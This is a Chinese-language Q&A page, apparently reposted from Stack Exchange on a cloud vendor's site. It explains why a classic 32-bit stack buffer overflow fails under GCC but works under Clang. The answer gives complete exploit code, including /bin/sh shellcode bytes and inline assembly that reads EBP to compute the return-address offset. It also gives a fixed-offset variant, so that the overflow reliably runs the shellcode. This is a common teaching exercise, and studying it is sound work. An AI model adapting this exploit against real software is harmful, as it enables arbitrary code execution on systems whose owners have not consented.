You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

缓冲区溢出攻击代码Clang编译生效GCC无效,求代码层面修复方案

无需编译选项,仅修改代码修复GCC栈对齐导致的缓冲区溢出失效问题

可以仅通过修改代码适配GCC的栈对齐规则,不用依赖-mpreferred-stack-boundary=2选项。

问题根源

GCC 32位环境下默认栈对齐边界为16字节(对应-mpreferred-stack-boundary=4),会在buffer与EBP之间插入对齐填充字节,导致原代码中硬编码的返回地址覆盖位置与实际栈布局不匹配,无法触发shellcode;而Clang的栈对齐策略更宽松,因此原代码可正常运行。

修改方案(动态计算栈偏移,通用性强)

通过内联汇编获取当前EBP寄存器的值,计算返回地址相对于buffer的偏移量,精准定位需要覆盖的位置,避免依赖固定栈布局:

#include <string.h>

char shellcode[] = "\xeb\x18\x5e\x31\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh        ";
 
char large_string[128];
 
void main() { 
    char buffer[48];
    int i;
    long *long_ptr = (long *) large_string;
    long ebp;
    // 内联汇编获取当前栈帧基地址EBP
    __asm__("movl %%ebp, %0" : "=r"(ebp));
    // 计算返回地址相对于buffer的偏移:返回地址在EBP+4位置
    int ret_offset = (ebp - (long)buffer + 4) / sizeof(long);
    
    // 从返回地址偏移位置开始,填充buffer的地址(shellcode入口)
    for(i = ret_offset; i < 32; ++i)
        long_ptr[i] = (long)buffer;
 
    // 将shellcode复制到large_string开头
    for(i = 0; i < strlen(shellcode); i++){
        large_string[i] = shellcode[i];
    }
    
    strcpy(buffer, large_string);
}

方案说明

  1. 内联汇编直接读取EBP寄存器,获取当前栈帧的基地址;
  2. 通过EBP与buffer的地址差,计算出返回地址相对于buffer的偏移量,转换为long类型的索引;
  3. 从该索引位置开始填充buffer的地址(shellcode被复制到buffer起始位置,因此buffer地址就是shellcode的执行入口);
  4. 无论GCC插入多少对齐填充字节,都能精准覆盖返回地址,触发缓冲区溢出执行shellcode。

替代方案(静态调整偏移,仅适配当前环境)

如果不想用内联汇编,也可以根据GCC的对齐规则静态调整填充起始位置。32位GCC默认会给48字节的buffer添加4字节对齐填充,返回地址的偏移为48 + 4(填充) + 4(EBP)= 56字节,对应14个long类型索引,修改循环起始值即可:

// 替换原填充循环
for(i = 14; i < 32; ++i)
    long_ptr[i] = (long)buffer;

注意:该方案仅适配当前编译环境,若GCC版本或编译选项变化可能失效,动态计算偏移的方案通用性更强。

内容的提问来源于stack exchange,提问作者michael101

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.30 00:16:58